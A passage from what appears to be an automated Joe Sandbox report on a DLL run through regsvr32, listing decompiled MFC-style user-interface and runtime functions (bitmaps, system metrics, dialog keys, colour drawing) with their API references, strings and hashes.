					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x4000);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00008000;
				if(__eflags != 0) {
					_v12 = 0x400;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x8000);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00010000;
				if(__eflags != 0) {
					_v12 = 0x200;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x10000);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00020000;
				if(__eflags != 0) {
					_v12 = 0x100;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x20000);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00040000;
				if(__eflags != 0) {
					_v12 = 0x8000;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x40000);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00080000;
				if(__eflags != 0) {
					_v12 = 0x1000;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x80000);
					__eflags = _t209;
				}
				_t199 = _v8;
				 *(_t199 + 0x18) =  *(_t199 + 0x18) | _t209;
				_t145 =  *(_t199 + 0x18);
				__eflags = (_t145 & 0x00003fc0) - 0x3fc0;
				if((_t145 & 0x00003fc0) == 0x3fc0) {
					 *(_t199 + 0x18) = _t145 | 0x00000010;
					_t209 = _t209 | 0x00000010;
					__eflags = _t209;
				}
				asm("sbb eax, eax");
				_t150 =  ~((_t209 & _a4) - _a4) + 1;
				__eflags = _t150;
				return _t150;
			}

APIs

_memset.LIBCMT ref: 6EB4F19D

Strings

AfxMDIFrame90s, xrefs: 6EB4F23E
AfxFrameOrView90s, xrefs: 6EB4F263
@, xrefs: 6EB4F2A9
@, xrefs: 6EB4F342

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: _memset
String ID: @$@$AfxFrameOrView90s$AfxMDIFrame90s
API String ID: 2102423945-455206835
Opcode ID: da6d2ef579351aec98c1522b264b0056ddd6eb718c4754c227d80c63b50048fd
Instruction ID: ae68f1af1de9ca2d99c41034f665aea578e62d919f81e21a78bdbc33ee9f82ca
Opcode Fuzzy Hash: da6d2ef579351aec98c1522b264b0056ddd6eb718c4754c227d80c63b50048fd
Instruction Fuzzy Hash: 699143B2C1029AFAEB50CFE4D581BDEBFF8AF04344F209565E914E7185D7748644EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB48202 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E6EB48202(void* __edx) {
				signed int _v8;
				void _v136;
				int _v140;
				int _v144;
				char _v148;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t21;
				unsigned int _t23;
				char* _t35;
				struct HBITMAP__* _t37;
				unsigned int _t40;
				signed short _t42;
				void* _t46;
				int _t47;
				unsigned int _t49;
				void* _t52;
				signed char* _t53;
				void* _t54;
				signed int _t58;
				void* _t59;
				void* _t60;
				signed int _t62;
				void* _t63;
				void* _t64;
				signed int _t66;
				signed int _t68;

				_t52 = __edx;
				_t66 = _t68;
				_t21 =  *0x6eb89470; // 0x8926f9d4
				_v8 = _t21 ^ _t66;
				_push(_t60);
				_push(_t54);
				_t23 = GetMenuCheckMarkDimensions();
				_t47 = _t23;
				_t40 = _t23 >> 0x10;
				_v144 = _t47;
				_v140 = _t40;
				if(_t47 <= 4) {
					L3:
					E6EB48BA4(_t40, _t47, _t54, _t60, _t73);
				} else {
					_t73 = _t40 - 5;
					if(_t40 <= 5) {
						goto L3;
					}
				}
				if(_t47 > 0x20) {
					_t47 = 0x20;
					_v144 = _t47;
				}
				asm("cdq");
				_t62 = _t47 + 0xf >> 4;
				_t58 = (_t47 - 4 - _t52 >> 1) + (_t62 << 4) - _t47;
				if(_t58 > 0xc) {
					_t58 = 0xc;
				}
				if(_t40 > 0x20) {
					_t40 = 0x20;
					_v140 = _t40;
				}
				E6EB65E80(_t58,  &_v136, 0xff, 0x80);
				_t35 = _t66 + (_t40 - 6 >> 1) * _t62 * 2 - 0x84;
				_t53 = 0x6eb796cc;
				_t63 = _t62 + _t62;
				_v148 = 5;
				do {
					_t42 = ( *_t53 & 0x000000ff) << _t58;
					_t53 =  &(_t53[1]);
					_t49 =  !_t42 & 0x0000ffff;
					 *_t35 = _t49 >> 8;
					 *(_t35 + 1) = _t49;
					_t35 = _t35 + _t63;
					_t15 =  &_v148;
					 *_t15 = _v148 - 1;
				} while ( *_t15 != 0);
				_t37 = CreateBitmap(_v144, _v140, 1, 1,  &_v136);
				_pop(_t59);
				_pop(_t64);
				 *0x6eb8c940 = _t37;
				_pop(_t46);
				if(_t37 == 0) {
					 *0x6eb8c940 = _t37;
				}
				return E6EB63DE0(_t37, _t46, _v8 ^ _t66, _t53, _t59, _t64);
			}

APIs

GetMenuCheckMarkDimensions.USER32 ref: 6EB4821A
_memset.LIBCMT ref: 6EB48292
CreateBitmap.GDI32(?,?,00000001,00000001,?), ref: 6EB482F5
LoadBitmapA.USER32 ref: 6EB4830D

Strings

, xrefs: 6EB48273

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Bitmap$CheckCreateDimensionsLoadMarkMenu_memset
String ID:
API String ID: 4271682439-3916222277
Opcode ID: 3e5046194a266def18f3053d98baadb852e98d25a38dff75d9b01cf021fd6ded
Instruction ID: c2c6b578925199e533e072813e03b7e9fe508ee7c01dceca83256e8b47993261
Opcode Fuzzy Hash: 3e5046194a266def18f3053d98baadb852e98d25a38dff75d9b01cf021fd6ded
Instruction Fuzzy Hash: 5A312771A00665DFEF208FA8DC84B9D7FB9FB45304F4545AAF549EB281CB308A859F90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4A25E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6EB4A25E(void* __edi, intOrPtr _a4, intOrPtr* _a8) {
				void _v20;
				int _t14;
				int _t18;
				intOrPtr* _t23;
				void* _t25;

				if(E6EB4A0A9() == 0) {
					if(_a4 != 0x12340042) {
						L9:
						_t14 = 0;
						L10:
						return _t14;
					}
					_t23 = _a8;
					if(_t23 == 0 ||  *_t23 < 0x28 || SystemParametersInfoA(0x30, 0,  &_v20, 0) == 0) {
						goto L9;
					} else {
						 *((intOrPtr*)(_t23 + 4)) = 0;
						 *((intOrPtr*)(_t23 + 8)) = 0;
						 *((intOrPtr*)(_t23 + 0xc)) = GetSystemMetrics(0);
						_t18 = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						 *(_t23 + 0x10) = _t18;
						 *((intOrPtr*)(_t23 + 0x24)) = 1;
						if( *_t23 >= 0x48) {
							E6EB66DA9(_t25, _t23 + 0x28, 0x20, "DISPLAY", 0x1f);
						}
						_t14 = 1;
						goto L10;
					}
				}
				return  *0x6eb8c528(_a4, _a8);
			}

APIs

SystemParametersInfoA.USER32(00000030,00000000,00000000,00000000), ref: 6EB4A29E
GetSystemMetrics.USER32 ref: 6EB4A2B6
GetSystemMetrics.USER32 ref: 6EB4A2BD

Strings

DISPLAY, xrefs: 6EB4A2DA
B, xrefs: 6EB4A27D

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: System$Metrics$InfoParameters
String ID: B$DISPLAY
API String ID: 3136151823-3316187204
Opcode ID: 053b0f7f753ab375a37f59fa7960cf8cb6c6e6f0b33376798dfe37fab502332b
Instruction ID: 4f69112b535743c8e1c40156f253ceaa93981210ea52bb0597f85c987e15ff50
Opcode Fuzzy Hash: 053b0f7f753ab375a37f59fa7960cf8cb6c6e6f0b33376798dfe37fab502332b
Instruction Fuzzy Hash: 5F11B2B1501266EBDF119FA48C80A9B7FA8EF0A750B014471FD14BE149E672C440EF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EB52B1C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB52B1C(void* __ebx, void* __ecx, void* __edx, void* __eflags, struct HWND__** _a4) {
				void* __edi;
				struct HWND__* _t10;
				struct HWND__* _t12;
				struct HWND__* _t14;
				struct HWND__* _t15;
				int _t19;
				void* _t21;
				void* _t25;
				struct HWND__** _t26;
				void* _t27;

				_t25 = __edx;
				_t21 = __ebx;
				_t26 = _a4;
				_t27 = __ecx;
				if(E6EB4AA6A(__ecx, __eflags, _t26) == 0) {
					_t10 = E6EB4D076(__ecx);
					__eflags = _t10;
					if(_t10 == 0) {
						L5:
						__eflags = _t26[1] - 0x100;
						if(_t26[1] != 0x100) {
							L13:
							return E6EB4AF4D(_t26);
						}
						_t12 = _t26[2];
						__eflags = _t12 - 0x1b;
						if(_t12 == 0x1b) {
							L8:
							__eflags = GetWindowLongA( *_t26, 0xfffffff0) & 0x00000004;
							if(__eflags == 0) {
								goto L13;
							}
							_t14 = E6EB5446C(_t21, _t25, _t26, __eflags,  *_t26, "Edit");
							__eflags = _t14;
							if(_t14 == 0) {
								goto L13;
							}
							_t15 = GetDlgItem( *(_t27 + 0x20), 2);
							__eflags = _t15;
							if(_t15 == 0) {
								L12:
								SendMessageA( *(_t27 + 0x20), 0x111, 2, 0);
								goto L1;
							}
							_t19 = IsWindowEnabled(_t15);
							__eflags = _t19;
							if(_t19 == 0) {
								goto L13;
							}
							goto L12;
						}
						__eflags = _t12 - 3;
						if(_t12 != 3) {
							goto L13;
						}
						goto L8;
					}
					__eflags =  *(_t10 + 0x68);
					if( *(_t10 + 0x68) == 0) {
						goto L5;
					}
					return 0;
				}
				L1:
				return 1;
			}

Strings

Edit, xrefs: 6EB52B70

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID:
String ID: Edit
API String ID: 0-554135844
Opcode ID: d1eca95350eddd9b62c7a1b3f4604cba5875c6ab8458684c7a9d358ff34769f5
Instruction ID: 66cba6faf803e23d7f2ab011a72068078d3daef35765e56574bd4414cd631496
Opcode Fuzzy Hash: d1eca95350eddd9b62c7a1b3f4604cba5875c6ab8458684c7a9d358ff34769f5
Instruction Fuzzy Hash: B811A531251296AFFE501EA6CD04F5ABEBEEB61750F014434E552F77A0DB61D870CA50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6CD78 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6EB6CD78(void* __edx, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t25;

				_t26 = __esi;
				_t24 = __edx;
				_t11 =  *((intOrPtr*)( *_a4));
				if(_t11 == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E6EB6A81F(_t23, __edx, _t25, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E6EB6A81F(_t23, __edx, _t25, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L5;
				} else {
					_t32 = _t11 - 0xe06d7363;
					if(_t11 != 0xe06d7363) {
						L5:
						__eflags = 0;
						return 0;
					} else {
						 *(E6EB6A81F(_t23, __edx, _t25, _t32) + 0x90) =  *(_t16 + 0x90) & 0x00000000;
						_push(8);
						_push(0x6eb85640);
						E6EB66608(_t23, _t25, __esi);
						_t19 =  *((intOrPtr*)(E6EB6A81F(_t23, __edx, _t25, _t32) + 0x78));
						if(_t19 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t19();
							_v8 = 0xfffffffe;
						}
						return E6EB6664D(E6EB6DF1C(_t23, _t24, _t25, _t26));
					}
				}
			}

APIs

__getptd.LIBCMT ref: 6EB6CD92

Part of subcall function 6EB6A81F: __getptd_noexit.LIBCMT ref: 6EB6A822
Part of subcall function 6EB6A81F: __amsg_exit.LIBCMT ref: 6EB6A82F

__getptd.LIBCMT ref: 6EB6CDA3
__getptd.LIBCMT ref: 6EB6CDB1

Strings

MOC, xrefs: 6EB6CD84
csm, xrefs: 6EB6CD8B

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: 20cb43ae2f54064935cf5b8c04aa5c9f8283909a22aa5e018337ea8793d4bd85
Instruction ID: 3c6b56f79ed4d032a7d656e95158feb65923ebf80530f25bc29addd23a525c07
Opcode Fuzzy Hash: 20cb43ae2f54064935cf5b8c04aa5c9f8283909a22aa5e018337ea8793d4bd85
Instruction Fuzzy Hash: 42E08C311202988FCB409BE4C084BDC3FA8FF99318F1548A2D51CDF222EB34EC418E52

Uniqueness

Uniqueness Score: -1.00%

Function 6EB474B8 Relevance: 7.6, APIs: 5, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6EB474B8(intOrPtr __eax, signed short __ebx, void* __esi, void* __ebp, void* __eflags, void* __fp0, short _a6, short _a10, signed int _a14, short _a18, signed short _a20, intOrPtr _a30, int _a34, intOrPtr _a38, intOrPtr _a40, short _a42, short _a44, struct tagRECT _a46, intOrPtr _a50, intOrPtr _a54, intOrPtr _a56, char _a58, char _a62, short _a64, intOrPtr _a66, int _a68, intOrPtr _a72, char _a74, intOrPtr _a76, struct HBRUSH__* _a78, intOrPtr _a80, signed int _a90, signed int _a96, void* _a110, char _a122, struct HDC__* _a126, char _a138, signed long long _a140, signed int _a214, intOrPtr _a222, char _a230) {
				signed int _v2;
				signed int _v6;
				intOrPtr _t73;
				short _t75;
				signed int _t82;
				void* _t83;
				intOrPtr _t84;
				void* _t96;
				signed short _t100;
				long _t101;
				void* _t102;
				intOrPtr _t103;
				short _t107;
				intOrPtr _t124;
				short _t135;
				RECT* _t136;
				void* _t137;
				void* _t138;
				void* _t140;
				signed int _t143;
				void* _t151;
				signed long long _t153;

				_t151 = __fp0;
				_t138 = __esi;
				_t100 = __ebx;
				_t73 = __eax;
				do {
					_t103 = _a56;
					_t124 = _a40;
					asm("fild dword [esp+0x20]");
					_a68 = 1;
					_a72 = _t124;
					_a76 = _t103 + 1;
					_t153 = (_t151 +  *0x6eb7fe58) *  *0x6eb7fe50;
					_a80 = _t73 + _t124;
					_t75 = E6EB676F0(_t73 + _t124, _t153);
					_a64 = _t75;
					_a96 = _t75 * _t75;
					_t135 = 0;
					asm("fild dword [esp+0x40]");
					_a20 = _t100;
					_a140 = _t153;
					while(1) {
						_t107 =  *(_t138 + 0x74);
						_a44 = _t107;
						_t101 = ColorHLSToRGB(_t135, _t107, _t75);
						 *((intOrPtr*)(_a10 +  *((intOrPtr*)(_t138 + 0x58)))) = _t101;
						E6EB53F35( &_a138,  &_a58, _t101);
						ColorRGBToHLS( *(_t138 + 0x70),  &_a18,  &_a10,  &_a6);
						_a54 = (_a6 & 0x0000ffff) - _t135;
						_t82 = _v6 & 0x0000ffff;
						_a14 = (_v2 & 0x0000ffff) - _a14;
						_a78 = _t82 * _t82 + _a66;
						_a90 = _t82;
						asm("fild dword [esp+0x2c]");
						_a14 = _t153;
						asm("fild dword [esp+0x6c]");
						_a78 = _t153;
						asm("fild dword [esp+0x54]");
						_t83 = E6EB76660((_v2 & 0x0000ffff) - _a14, _t82 * _t82 + _a66, _t153 *  *0x6eb7fe48);
						asm("fild dword [esp+0x78]");
						asm("fmulp st1, st0");
						asm("fsubr qword [esp+0x6c]");
						_t153 = _a14 * st0;
						asm("faddp st1, st0");
						_t84 = E6EB676F0(_t83, _t153);
						if(_t84 < _a30) {
							_a38 = _t84;
							 *(_t138 + 0x60) = _a46.left;
							 *((intOrPtr*)(_t138 + 0x64)) = _a50;
							 *((intOrPtr*)(_t138 + 0x68)) = _a54;
							 *((intOrPtr*)(_t138 + 0x6c)) = _a58;
							 *((intOrPtr*)(_t138 + 0x5c)) = _t101;
						}
						L6:
						OffsetRect( &_a46, _a34, 0);
						_v2 = _v2 + 4;
						_t135 = _t135 + 0xa;
						if(_t135 < 0xf0) {
							_t75 = _a42;
							_t107 =  *(_t138 + 0x74);
							_a44 = _t107;
							_t101 = ColorHLSToRGB(_t135, _t107, _t75);
							 *((intOrPtr*)(_a10 +  *((intOrPtr*)(_t138 + 0x58)))) = _t101;
							E6EB53F35( &_a138,  &_a58, _t101);
							ColorRGBToHLS( *(_t138 + 0x70),  &_a18,  &_a10,  &_a6);
							_a54 = (_a6 & 0x0000ffff) - _t135;
							_t82 = _v6 & 0x0000ffff;
							_a14 = (_v2 & 0x0000ffff) - _a14;
							_a78 = _t82 * _t82 + _a66;
							_a90 = _t82;
							asm("fild dword [esp+0x2c]");
							_a14 = _t153;
							asm("fild dword [esp+0x6c]");
							_a78 = _t153;
							asm("fild dword [esp+0x54]");
							_t83 = E6EB76660((_v2 & 0x0000ffff) - _a14, _t82 * _t82 + _a66, _t153 *  *0x6eb7fe48);
							asm("fild dword [esp+0x78]");
							asm("fmulp st1, st0");
							asm("fsubr qword [esp+0x6c]");
							_t153 = _a14 * st0;
							asm("faddp st1, st0");
							_t84 = E6EB676F0(_t83, _t153);
							if(_t84 < _a30) {
								_a38 = _t84;
								 *(_t138 + 0x60) = _a46.left;
								 *((intOrPtr*)(_t138 + 0x64)) = _a50;
								 *((intOrPtr*)(_t138 + 0x68)) = _a54;
								 *((intOrPtr*)(_t138 + 0x6c)) = _a58;
								 *((intOrPtr*)(_t138 + 0x5c)) = _t101;
							}
							goto L6;
						}
						break;
					}
					_t73 = _a30;
					_t100 = _v2;
					_a10 = _a10 + 1;
					_a18 = _a18 + _t73;
				} while (_t100 < 0x900);
				_t136 = _t138 + 0x60;
				InflateRect(_t136, 1, 1);
				_t149 =  *(_t138 + 0x74) - 0xd2;
				_push(((0 |  *(_t138 + 0x74) - 0x000000d2 <= 0x00000000) - 0x00000001 & 0xff64c8c9) + 0xffffff);
				E6EB49E16( &_a78, _t138,  *(_t138 + 0x74) - 0xd2);
				_t132 = _a126;
				FrameRect(_a126, _t136, _a78);
				_a74 = 0x6eb79cf0;
				E6EB41070( &_a74, _a126);
				_a230 = 0;
				_a62 = 0x6eb79cf0;
				E6EB41070( &_a62, _a126);
				_a230 = 0xffffffff;
				_t96 = E6EB49B87(_t100,  &_a122, _t136, 0x6eb79cf0, _t149);
				 *[fs:0x0] = _a222;
				_pop(_t137);
				_pop(_t140);
				_pop(_t102);
				return E6EB63DE0(_t96, _t102, _a214 ^ _t143, _t132, _t137, _t140);
			}

APIs

ColorHLSToRGB.SHLWAPI(00000000,?,00000000), ref: 6EB47523

Part of subcall function 6EB53F35: SetBkColor.GDI32(?,?), ref: 6EB53F59
Part of subcall function 6EB53F35: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 6EB53F6C

ColorRGBToHLS.SHLWAPI(?,?,?,00000000), ref: 6EB4755A
OffsetRect.USER32 ref: 6EB47602
InflateRect.USER32(?,00000001,00000001), ref: 6EB47640
FrameRect.USER32 ref: 6EB47675

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ColorRect$FrameInflateOffsetText
String ID:
API String ID: 445312294-0
Opcode ID: 82de5c549fb5b4811a8ec18e8bc96925f70efe594f300ea1286628abc62ff32b
Instruction ID: ffadd99481e055ca19ce1b10b2c6520671a169c01a2bccd1a46fb03acd7f2f3f
Opcode Fuzzy Hash: 82de5c549fb5b4811a8ec18e8bc96925f70efe594f300ea1286628abc62ff32b
Instruction Fuzzy Hash: 185112725087808FC324CF65C494AAEBBF4FFC9714F008E1DE59A932A4EB749844CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EB474B6 Relevance: 7.6, APIs: 5, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6EB474B6(intOrPtr __eax, signed short __ebx, void* __esi, void* __ebp, void* __eflags, void* __fp0, short _a6, short _a10, signed int _a14, short _a18, signed short _a20, intOrPtr _a30, int _a34, intOrPtr _a38, intOrPtr _a40, short _a42, short _a44, struct tagRECT _a46, intOrPtr _a50, intOrPtr _a54, intOrPtr _a56, char _a58, char _a62, short _a64, intOrPtr _a66, int _a68, intOrPtr _a72, char _a74, intOrPtr _a76, struct HBRUSH__* _a78, intOrPtr _a80, signed int _a90, signed int _a96, void* _a110, char _a122, struct HDC__* _a126, char _a138, signed long long _a140, signed int _a214, intOrPtr _a222, char _a230) {
				signed int _v2;
				signed int _v6;
				intOrPtr _t73;
				short _t75;
				signed int _t82;
				void* _t83;
				intOrPtr _t84;
				void* _t96;
				signed short _t100;
				long _t101;
				void* _t102;
				intOrPtr _t103;
				short _t107;
				intOrPtr _t124;
				short _t135;
				RECT* _t136;
				void* _t137;
				void* _t138;
				void* _t140;
				signed int _t143;
				void* _t151;
				signed long long _t153;

				_t151 = __fp0;
				_t138 = __esi;
				_t100 = __ebx;
				_t73 = __eax;
				do {
					_t103 = _a56;
					_t124 = _a40;
					asm("fild dword [esp+0x20]");
					_a68 = 1;
					_a72 = _t124;
					_a76 = _t103 + 1;
					_t153 = (_t151 +  *0x6eb7fe58) *  *0x6eb7fe50;
					_a80 = _t73 + _t124;
					_t75 = E6EB676F0(_t73 + _t124, _t153);
					_a64 = _t75;
					_a96 = _t75 * _t75;
					_t135 = 0;
					asm("fild dword [esp+0x40]");
					_a20 = _t100;
					_a140 = _t153;
					while(1) {
						_t107 =  *(_t138 + 0x74);
						_a44 = _t107;
						_t101 = ColorHLSToRGB(_t135, _t107, _t75);
						 *((intOrPtr*)(_a10 +  *((intOrPtr*)(_t138 + 0x58)))) = _t101;
						E6EB53F35( &_a138,  &_a58, _t101);
						ColorRGBToHLS( *(_t138 + 0x70),  &_a18,  &_a10,  &_a6);
						_a54 = (_a6 & 0x0000ffff) - _t135;
						_t82 = _v6 & 0x0000ffff;
						_a14 = (_v2 & 0x0000ffff) - _a14;
						_a78 = _t82 * _t82 + _a66;
						_a90 = _t82;
						asm("fild dword [esp+0x2c]");
						_a14 = _t153;
						asm("fild dword [esp+0x6c]");
						_a78 = _t153;
						asm("fild dword [esp+0x54]");
						_t83 = E6EB76660((_v2 & 0x0000ffff) - _a14, _t82 * _t82 + _a66, _t153 *  *0x6eb7fe48);
						asm("fild dword [esp+0x78]");
						asm("fmulp st1, st0");
						asm("fsubr qword [esp+0x6c]");
						_t153 = _a14 * st0;
						asm("faddp st1, st0");
						_t84 = E6EB676F0(_t83, _t153);
						if(_t84 < _a30) {
							_a38 = _t84;
							 *(_t138 + 0x60) = _a46.left;
							 *((intOrPtr*)(_t138 + 0x64)) = _a50;
							 *((intOrPtr*)(_t138 + 0x68)) = _a54;
							 *((intOrPtr*)(_t138 + 0x6c)) = _a58;
							 *((intOrPtr*)(_t138 + 0x5c)) = _t101;
						}
						L6:
						OffsetRect( &_a46, _a34, 0);
						_v2 = _v2 + 4;
						_t135 = _t135 + 0xa;
						if(_t135 < 0xf0) {
							_t75 = _a42;
							_t107 =  *(_t138 + 0x74);
							_a44 = _t107;
							_t101 = ColorHLSToRGB(_t135, _t107, _t75);
							 *((intOrPtr*)(_a10 +  *((intOrPtr*)(_t138 + 0x58)))) = _t101;
							E6EB53F35( &_a138,  &_a58, _t101);
							ColorRGBToHLS( *(_t138 + 0x70),  &_a18,  &_a10,  &_a6);
							_a54 = (_a6 & 0x0000ffff) - _t135;
							_t82 = _v6 & 0x0000ffff;
							_a14 = (_v2 & 0x0000ffff) - _a14;
							_a78 = _t82 * _t82 + _a66;
							_a90 = _t82;
							asm("fild dword [esp+0x2c]");
							_a14 = _t153;
							asm("fild dword [esp+0x6c]");
							_a78 = _t153;
							asm("fild dword [esp+0x54]");
							_t83 = E6EB76660((_v2 & 0x0000ffff) - _a14, _t82 * _t82 + _a66, _t153 *  *0x6eb7fe48);
							asm("fild dword [esp+0x78]");
							asm("fmulp st1, st0");
							asm("fsubr qword [esp+0x6c]");
							_t153 = _a14 * st0;
							asm("faddp st1, st0");
							_t84 = E6EB676F0(_t83, _t153);
							if(_t84 < _a30) {
								_a38 = _t84;
								 *(_t138 + 0x60) = _a46.left;
								 *((intOrPtr*)(_t138 + 0x64)) = _a50;
								 *((intOrPtr*)(_t138 + 0x68)) = _a54;
								 *((intOrPtr*)(_t138 + 0x6c)) = _a58;
								 *((intOrPtr*)(_t138 + 0x5c)) = _t101;
							}
							goto L6;
						}
						break;
					}
					_t73 = _a30;
					_t100 = _v2;
					_a10 = _a10 + 1;
					_a18 = _a18 + _t73;
				} while (_t100 < 0x900);
				_t136 = _t138 + 0x60;
				InflateRect(_t136, 1, 1);
				_t149 =  *(_t138 + 0x74) - 0xd2;
				_push(((0 |  *(_t138 + 0x74) - 0x000000d2 <= 0x00000000) - 0x00000001 & 0xff64c8c9) + 0xffffff);
				E6EB49E16( &_a78, _t138,  *(_t138 + 0x74) - 0xd2);
				_t132 = _a126;
				FrameRect(_a126, _t136, _a78);
